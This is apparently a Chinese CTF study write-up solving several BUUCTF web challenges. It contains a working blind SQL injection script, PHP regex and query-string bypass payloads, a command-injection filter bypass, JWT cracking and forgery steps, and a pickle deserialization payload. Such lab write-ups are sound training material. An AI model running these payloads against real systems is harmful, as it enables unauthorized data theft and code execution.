一周西踢艾福(4)
abbababaababab
BUU
[WUSTCTF2020]颜值成绩查询
和[极客大挑战 2019]FinalSQL一样,复习一下布尔盲注的二分查找。脚本如下
import requests
import time
url = "http://9a9cda55-1e8f-4cff-9221-917c5f669aba.node4.buuoj.cn:81/" # Target URL
result = ""
for i in range(1, 1000): # adjust as needed
param_data = {}
low = 32
high = 128
mid = (low + high) // 2
while low < high:
# injection_str = f"1^(ASCII(substr((SELECT(group_concat(table_name))FROM(information_schema.tables)where(table_schema=database())),{i},1))>{mid})" # 表名
# injection_str = f"1^(ASCII(substr((SELECT(group_concat(column_name))FROM(information_schema.columns)where(table_name='flag')),{i},1))>{mid})" # 列名
injection_str = f"1^(ASCII(substr((SELECT(group_concat(value))FROM(flag)),{i},1))>{mid})" # flag
param_data['stunum'] = injection_str
response = requests.get(url, params=param_data)
time.sleep(0.04)
if 'student number not exists.' in response.text: # 在这个区域中
low = mid + 1
else:
high = mid
mid = (high + low) // 2
result += chr(mid)
print("Extracted so far: " + result)
if mid == 32 or mid == 127:
break
[MRCTF2020]套娃
$query = $_SERVER['QUERY_STRING'];
if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}
$_SERVER['QUERY_STRING'];会获得 URL 中 "?" 符号之后的部分。举个例子,如果 URL 是 http://www.example.com/index.php?id=1&image=awesome.jpg,那么 $_SERVER['QUERY_STRING'] 就是 id=1&image=awesome.jpg。
第一个判断的是$query中不能出现下滑线。想起之前的一道题,PHP变量解析漏洞,绕过的方式可以用空格%20或者点%2e。但是%2b和%5b不知道为什么无法通过。

第二个判断是$_GET['b_u_p_t']不为23333,但通过正则可以匹配到23333。绕过的方式是用换行符%0a绕过。
payload:/?b%2eu%2ep%2et=23333%0A,得到下一关地址/secrettw.php
jsfuck丢到控制台

根据提示,post提交Merak参数得到源码
<?php
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';
if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>
三个点:
getIp():添加client-ip头file_get_contents($_GET['2333']):PHP伪协议data:text/plain,todat is a happy daychange($_GET['file']):根据change函数逻辑简单反解一下
<?php
$t = 'flag.php';
$re = '';
for($i=0;$i<strlen($t);$i++){
$re .= chr ( ord ($t[$i]) - $i*2 );
}
echo base64_encode($re); // ZmpdYSZmXGI=

[FBCTF2019]RCEService
命令执行/?cmd={"cmd":"ls"},有index.php,尝试读取。过滤了挺多东西的,之后发现这题的源码是提前给出的...但这里没有提示?(这个过滤确实够狠的)
<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>
正则用多行匹配绕过,cmd期望接收到的是一个JSON格式,所以可以像下面这样:
{
"cmd": "/home/rceservice"
}
因为这里设定了变量的执行环境,所以要用/bin/cat。payload:cmd={%0a"cmd":"/bin/cat /home/rceservice/flag"%0a}

[Zer0pts2020]Can you guess it?
<?php
include 'config.php'; // FLAG is defined in config.php
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>
一看解题点就是highlight_file上。
首先看下 $_SERVER['PHP_SELF']是什么,

写个demo
<?php
echo $_SERVER['PHP_SELF'];


再看下basename

测试一下:
<?php
echo basename("/index.php/config.php");
// config.php
echo basename("/index.php/config.php/");
// config.php
echo basename("/index.php/config.php/"."\xff");
// config.php 去掉了尾部的不可见字符
echo basename("\xff"."/index.php/config.php/");
// config.php 去掉了首部的不可见字符
对于正则:
<?php
$s = 'config.php/'.urldecode('%ff');
if (preg_match('/config\.php\/*$/i', $s)) { // 对尾部的界定可以用不可见字符绕过
echo "match";
}else{
echo "no match"; // 绕过匹配
}
if (preg_match('/config\.php\//i', $s)) { // 没有对尾部界定,可以匹配到字符串config.php/
echo "match"; // 正常匹配
}else{
echo "no match";
}
综上,用不可见字符绕过正则。payload:/index.php/config.php/%ff?source

[CISCN2019 华北赛区 Day1 Web2]ikun
要买到lv6,但是页面中并没有。爆破/shop?page=2中的page参数,找到有lv6的页面,标志图片名称。

import requests
import time
url = 'http://f07b7eb7-c746-470b-9d28-9053e401388c.node4.buuoj.cn:81/shop?page='
for i in range(150, 200):
resp = requests.get(url + str(i))
time.sleep(0.04)
if 'lv6.png' in resp.text:
print('page is: ' + str(i))
break
lv6在180页

购买,价格改不了,但可以改折扣。

/b1g_m4mber需要admin

jwt伪造
- 快速入门:JWT是什么
- 利用工具:c-jwt-cracker
使用docker run -it --rm jwtcrack <jwt>,🏃🏃🏃

找到密钥直接伪造jwt.io

F12找到源码/static/asd1f654e683wq/www.zip
路由定义在/sshop/views/__init__.py
from Shop import *
from User import *
from Admin import *
handlers = [
(r'/', ShopIndexHandler),
(r'/shop', ShopListHandler),
(r'/info/(\d+)', ShopDetailHandler),
(r'/shopcar', ShopCarHandler),
(r'/shopcar/add', ShopCarAddHandler),
(r'/pay', ShopPayHandler),
(r'/user', UserInfoHandler),
(r'/user/change', changePasswordHandler),
(r'/pass/reset', ResetPasswordHanlder),
(r'/login', UserLoginHanlder),
(r'/logout', UserLogoutHandler),
(r'/register', RegisterHandler),
(r'/b1g_m4mber', AdminHandler)
]
后门放在AdminHandler中,一眼反序列化

原理之后学学,这里先跟着打一遍。
python2.7生成payload
import os
import pickle
import urllib
class exp(object):
def __reduce__(self):
return (eval,("open('/flag.txt').read()",))
a=exp()
s=pickle.dumps(a)
print urllib.quote(s)
# c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.
/b1g_m4mber页面点击抓包

修改become,get flag!!!!
